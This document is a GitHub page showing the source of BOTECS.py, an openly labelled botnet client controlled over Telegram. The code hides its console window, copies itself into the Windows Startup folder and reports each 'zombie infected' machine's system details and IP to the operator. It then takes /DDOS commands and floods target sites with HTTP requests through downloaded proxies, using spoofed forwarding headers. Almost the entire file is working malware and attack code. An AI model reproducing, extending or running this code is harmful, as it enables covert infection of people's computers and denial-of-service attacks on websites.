-
Notifications
You must be signed in to change notification settings - Fork 27
/
BOTECS.py
384 lines (375 loc) Β· 17.3 KB
/
BOTECS.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
#Botnet BOTECS
# Link Project : https://github.com/esfelurm/botecs
# writers : Esfelurm / Mr Root / Hydra
# Broadcasting channel Telegram : @Team_Exploit
# Tool Vip BotECS In channel : @KnightGuardian59
token = ' Insert your bot token '
chat_id = 'Insert your account chat id '
from os import system
from platform import (system,platform)
import sys
from bs4 import BeautifulSoup as Soup
from re import findall
import json
from time import sleep; import socket
from random import (choice, randint)
from asyncio import run as ESNET
from socket import socket, AF_INET, SOCK_DGRAM,SOCK_STREAM
s = socket(AF_INET, SOCK_DGRAM)
s.connect(("8.8.8.8", 87))
typesys, systype = system(), platform()
_file : str = sys.argv[0]
if 'windows' in typesys:
try:import win32gui
except:system('pip3 install win32gui')
try:import win32con
except:system('pip3 install win32con')
try:assert win32gui.ShowWindow(win32gui.GetForegroundWindow, win32con.SW_HIDE)
except:pass
try:from telfhk0 import telfhk0
except:system('pip3 install telfhk0')
try:from pyuseragents import random as agent
except:system('pip3 install pyuseragents')
try:from datetime import datetime
except:system('pip3 install datetime')
try:from requests import post, get as GET
except:system('pip3 install requests')
if 'windows' in typesys.lower():
try:
location = sys.exec_prefix
loc = location.split('\\')
op : list = []
for lc in loc[:6]:
lol = str(lc) + '\\'
op.append(str(lol))
lll = ( op[0] + op[1] + op[2] + op[3] + 'Roaming\\' + 'Microsoft\\' + 'Windows\\' + 'Start Menu\\' + 'Programs\\' + 'Startup\\')
run_cmd = f'copy {_file} {lll}'
try:
system(run_cmd)
except:
pass
try:
with open(lll + 'BotECS.bat', 'w') as startup:
startup.write(f'start {sys.argv[0]}')
except:
pass
except:
pass
if 'linux' in typesys or 'mac' in typesys:
system('clear')
Tel = telfhk0.Telegram(chat=chat_id,token=token)
text : str = 'Use /DDOS command to attack π§¨\n(Ex : /DDOS https://google.com 1000)\n\nπ‘ least : 100 | π’ Maximum : 4000'
TargetUr : list = []
_send2_ : list = []
counter : int = 0
try:
GET("https://google.com")
except:print("Error Internet !")
try:
p = GET('https://api.openproxylist.xyz/socks5.txt').text
Tel.SendMessage(text="Proxy successfully downloaded β
")
except:
Tel.SendMessage(text="There was a problem downloading the proxy β οΈ")
with open('Proxyy.txt','w') as proxy_list:
proxy_list.write(p)
if __name__ == '__main__':
try:
Tel.SendMessage(text='Botnet onned!')
except:
pass
sleep(1)
try:
Tel.SendMessage(text=f'ΰΌΌA zombie infected ΰΌ½\n\nπ’ Info System : {typesys}\nπ’ Time : {str(datetime.now())}\nπ’ Ip : {str(s.getsockname()[0])}')
except:
try:
Tel.SendMessage(text=f'The server is started β
')
except:
pass
sleep(2)
try:
Tel.SendMessage(text=text)
except:
pass
class Start():
def __init__(self, url : str, proxylist : list, numbers : int) -> str:
self.numbers = numbers
if self.numbers > 4000:
Tel.SendMessage(text=f'π΄ The number entered is too high β\n\nπ’ number seted with : 4000')
self.numbers : int = 4000
elif self.numbers == '':
Tel.SendMessage(text=f'π΄ The number is not entered β\n\nπ’ number seted with : 4000')
self.numbers : int = 4000
elif self.numbers < 100:
Tel.SendMessage(text=f'π΄ The number entered is less than 100 β\n\nπ’ number seted with : 4000')
self.numbers : int = 4000
self.num : int = 0
self.url = url
self.proxylist : list = proxylist
self.acceptall : list = [
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n",
"Accept-Encoding: gzip, deflate\r\n",
"Accept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n",
"Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Charset: iso-8859-1\r\nAccept-Encoding: gzip\r\n",
"Accept: application/xml,application/xhtml+xml,text/html;q=0.9, text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Charset: iso-8859-1\r\n",
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\n",
"Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/msword, */*\r\nAccept-Language: en-US,en;q=0.5\r\n",
"Accept: text/html, application/xhtml+xml, image/jxr, */*\r\nAccept-Encoding: gzip\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\n",
"Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Encoding: gzip\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\n,"
"Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\n",
"Accept-Charset: utf-8, iso-8859-1;q=0.5\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\n",
"Accept: text/html, application/xhtml+xml",
"Accept-Language: en-US,en;q=0.5\r\n",
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1\r\n",
"Accept: text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Charset: iso-8859-1\r\n",
]
if self.url == '':
Tel.SendMessage(text='error in url')
exit()
try:
if self.url[0]+self.url[1]+self.url[2]+self.url[3] == "www.":
self.url = "http://" + url
elif self.url[0]+self.url[1]+self.url[2]+self.url[3] == "http":
pass
else:
self.url = "http://" + url
except:
Tel.SendMessage(text='error in url')
exit()
try:
self.url2 = self.url.replace("http://", "").replace("https://", "").split("/")[0].split(":")[0]
except:
self.url2 = self.url.replace("http://", "").replace("https://", "").split("/")[0]
try:
self.urlport = self.url.replace("http://", "").replace("https://", "").split("/")[0].split(":")[1]
except:
self.urlport = "80"
async def run(self) -> str:
pr = open('Proxyy.txt').read().split()
proxies : list = pr
connection = "Connection: Keep-Alive\r\n"
useragent : str = "User-Agent: " + agent() + "\r\n"
accept : str = choice(self.acceptall)
randomip : str = str(randint(0,255)) + "." + str(randint(0,255)) + "." + str(randint(0,255)) + "." + str(randint(0,255))
forward : str = "X-Forwarded-For: " + randomip + "\r\n"
get_host = "GET " + self.url + " HTTP/1.1\r\nHost: " + self.url2 + "\r\n"
request : str = get_host + useragent + accept + forward + connection + "\r\n"
current : int = 1
current : int = self.num
count = self.num
counting : int = self.num
if count < int(len(proxies)):
print('true !')
for prx in proxies:
prx : list = prx.strip().split(':')
try:
s : str = socket(AF_INET, SOCK_STREAM)
s.connect((str(prx[0]), int(prx[1])))
s.send(str.encode(request))
current += 1
try:
for y in range(50):
s.send(str.encode(request))
current += 1
except:
s.close()
except:
s.close()
counting += 1
if counting == 200:
Tel.SendMessage(text='π 200 packets were sent ')
try:
check = f'https://mini.site-shot.com/x/codebazan.ir-Web-screenshot/1000/png/?https://check-host.net/check-http?host={self.url}'
try:
with open('images01.png', 'wb+') as f:
f.write(GET(
url=check
).content)
f.close()
except:
pass
except:
pass
try:
Tel.SendPhoto(address='images01.png',caption=f'π’ Screenshot of check Host \nβͺ Link Check Host : [https://check-host.net/check-http?host={self.url}]\nπ’ Time : {str(datetime.now())}')
except:
pass
if counting == 600:
Tel.SendMessage(text='π‘ 600 packets were sent')
try:
check = f'https://mini.site-shot.com/x/codebazan.ir-Web-screenshot/1000/png/?https://check-host.net/check-http?host={self.url}'
try:
with open('images01.png', 'wb+') as f:
f.write(GET(
url=check
).content)
f.close()
except:
pass
except:
pass
try:
Tel.SendPhoto(address='images01.png',caption=f'π’ Screenshot of check Host \nβͺ Link Check Host : [https://check-host.net/check-http?host={self.url}]\nπ’ Time : {str(datetime.now())}')
except:
pass
if counting == 1200:
Tel.SendMessage(text='π΅ 1200 packets were sent')
try:
check = f'https://mini.site-shot.com/x/codebazan.ir-Web-screenshot/1000/png/?https://check-host.net/check-http?host={self.url}'
try:
with open('images01.png', 'wb+') as f:
f.write(GET(
url=check
).content)
f.close()
except:
pass
except:
pass
try:
Tel.SendPhoto(address='images01.png',caption=f'π’ Screenshot of check Host \nβͺ Link Check Host : [https://check-host.net/check-http?host={self.url}]\nπ’ Time : {str(datetime.now())}')
except:
pass
if counting == 2200:
Tel.SendMessage(text='π£ 2200 packets were sent')
try:
check = f'https://mini.site-shot.com/x/codebazan.ir-Web-screenshot/1000/png/?https://check-host.net/check-http?host={self.url}'
try:
with open('images01.png', 'wb+') as f:
f.write(GET(
url=check
).content)
f.close()
except:
pass
except:
pass
try:
Tel.SendPhoto(address='images01.png',caption=f'π’ Screenshot of check Host \nβͺ Link Check Host : [https://check-host.net/check-http?host={self.url}]\nπ’ Time : {str(datetime.now())}')
except:
pass
if counting == self.numbers:
Tel.SendMessage(text=f'π’ All packets have been sent \n𧨠Number of packets : {self.numbers}')
try:
check = f'https://mini.site-shot.com/x/codebazan.ir-Web-screenshot/1000/png/?https://check-host.net/check-http?host={self.url}'
try:
with open('images01.png', 'wb+') as f:
f.write(GET(
url=check
).content)
f.close()
except:
pass
except:
pass
try:
check_ = f'https://check-host.net/check-http?host={self.url}'
soup = Soup(GET(check_).text,'html.parser')
_text_ = findall(r'https://check-host.net/check-report/\w{11}', str(soup))
img = open('images01.png', 'rb+')
Tel.SendPhoto(address='images01.png',caption=f'π’ Screenshot of check Host \nβͺ Link Check Host : [https://check-host.net/check-http?host={self.url}]\nπ’ Time : {str(datetime.now())}')
except:
pass
break
if counting == 3000:
try:
check = f'https://mini.site-shot.com/x/codebazan.ir-Web-screenshot/1000/png/?https://check-host.net/check-http?host={self.url}'
try:
with open('images01.png', 'wb+') as f:
f.write(GET(
url=check
).content)
f.close()
except:
pass
except:
pass
try:
check_ : str = f'https://check-host.net/check-http?host={self.url}'
soup = Soup(GET(check_).text,'html.parser')
_text_ : list = findall(r'https://check-host.net/check-report/\w{11}', str(soup))
img = open('images01.png', 'rb+')
Tel.SendPhoto(address='images01.png',caption=f'check Host End !\n Time : {str(datetime.now())}')
except:
pass
Tel.SendMessage(text='The attack is over β
')
break
else:
Tel.SendMessage(text='error in file proxy list !')
exit()
exit()
while 1:
def speed():
while True:
try:
sleep(2)
sent_ = Tel.GetMessage(number=-1)
if '/DDOS' in sent_:
sent = sent_.split(' ')
TargetUr.append(sent[1])
_send2_.append(sent[2])
TargetUr.append(sent_)
break
except:
pass
speed()
async def loop():
count : int = 0
try:
date : str = str(datetime.now())
date : list = date.split(' ')
date : list = date[1].split('.')
assert Tel.SendMessage(text=f'π’ your target : {TargetUr[0]} β οΈ')
snt = dict(Tel.SendMessage('π£ Preparing to attack....'))
try:
texts : dict = {
'text': f'The robots are ready !',
}
media = json.dumps({
'type': 'text',
'text': 'attach://text'
})
msge = f"https://api.telegram.org/bot{token}/editMessageText?chat_id={int(chat_id)}&message_id={int(snt['message_id'])}&text={media}"
assert post(
url=msge,
data=texts
).json()
except:
pass
except:
while count < 3:
try:
assert Tel.SendMessage(text=f'π’ your target : {TargetUr[0]} β οΈ')
count += 3
except:
count += 1
try:
check = f'https://mini.site-shot.com/x/codebazan.ir-Web-screenshot/1000/png/?https://check-host.net/check-http?host={TargetUr[0]}'
try:
with open('images01.png', 'wb+') as f:
f.write(GET(
url=check
).content)
f.close()
except:
pass
except:
pass
try:
check_ = f'https://check-host.net/check-http?host={str(TargetUr[0])}'
soup = Soup(GET(check_).text,'html.parser')
_text_ : list = findall(r'https://check-host.net/check-report/\w{11}', str(soup))
img = open('images01.png', 'rb+')
Tel.SendPhoto(address='images01.png',caption=f'π’ Screenshot of check Host\nπ’ Time : {str(datetime.now())}')
except:
pass
try:
net = Start(str(TargetUr[0]), proxy_list, int(_send2_[0]))
except:
Tel.SendMessage(text='π΄ The command is wrong β')
speed()
try:
assert await net.run()
Tel.SendMessage(text='βͺ End of the attack ')
except:
Tel.SendMessage(text='βͺ End of the attack ')
ESNET(loop())